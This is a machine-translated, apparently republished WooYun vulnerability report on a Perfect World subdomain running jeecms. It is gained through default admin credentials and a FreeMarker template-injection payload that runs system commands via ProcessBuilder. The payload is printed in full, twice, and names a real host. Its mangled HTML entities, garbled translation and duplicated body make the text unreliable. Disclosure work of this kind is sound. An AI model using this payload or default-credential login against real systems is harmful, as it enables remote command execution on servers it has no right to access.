完美世界某站第三方程序存在漏洞可Getshell执行系统命令
漏洞标题 完美世界某站第三方程序存在漏洞可Getshell执行系统命令 相关厂商 完美世界 漏洞作者 梧桐雨 提交时间 2016-04-25 16:56 公开时间 2016-06-09 17:40 漏…
漏洞标题
在一个完美的世界中，第三方程序存在漏洞。 Getshell可以执行系统命令。
相关制造商
一个完美的世界
漏洞作者
梧桐雨
提交时间
2016-04-25 16: 56
公共时间
2016-06-09 17: 40
漏洞类型
命令执行
危险等级
高
自我评估等级
20
漏洞状态
制造商已确认
标签标签
密码弱，第三方框架
漏洞详细信息
子域扫描自动发现：
http://gongyi.wanmei.com/
通过指纹识别发现它是jeecms。
有一个默认用户密码: admin，密码
登录后台后，找到黑暗云中的历史jeecms以获取shell漏洞。
＆lt; #assign ob='freemarker.template.utility.ObjectConstructor'？new（）＆gt;
＆lt; #assign br=ob（'java.io.BufferedReader'，ob（'java.io.InputStreamReader'，ob（'java.lang.ProcessBuilder'，'ifconfig'）。start（）。getInputStream（））） ＆GT;
＆lt; #list 1.10000 as t＆gt;
＆lt; #assign line=br.readLine（）！'null'＆gt;
＆lt; #if line=='null'＆gt;
＆LT;＃破＆GT;
＆LT; /＃如果＆GT;
$ {}行
$ { '＆LT峰; br＆GT;'}
＆LT; /＃列表＆gt;
执行系统命令：
Www许可
漏洞证明：
执行系统命令：
Www许可
修理计划：
更改弱密码。
版权声明：请注明出处。梧桐宇@乌云
登录后台后，找到黑暗云中的历史jeecms以获取shell漏洞。
＆lt; #assign ob='freemarker.template.utility.ObjectConstructor'？new（）＆gt;
＆lt; #assign br=ob（'java.io.BufferedReader'，ob（'java.io.InputStreamReader'，ob（'java.lang.ProcessBuilder'，'ifconfig'）。start（）。getInputStream（））） ＆GT;
＆lt; #list 1.10000 as t＆gt;
＆lt; #assign line=br.readLine（）！'null'＆gt;
＆lt; #if line=='null'＆gt;
＆LT;＃破＆GT;
＆LT; /＃如果＆GT;
$ {}行
$ { '＆LT峰; br＆GT;'}
＆LT; /＃列表＆gt;
执行系统命令：
Www许可
漏洞证明：
执行系统命令：
Www许可
修理计划：
更改弱密码。
版权声明：请注明出处。梧桐宇@乌云
- 发表于 2016-07-17 08:00
- 阅读 ( 555 )
- 分类：黑客技术
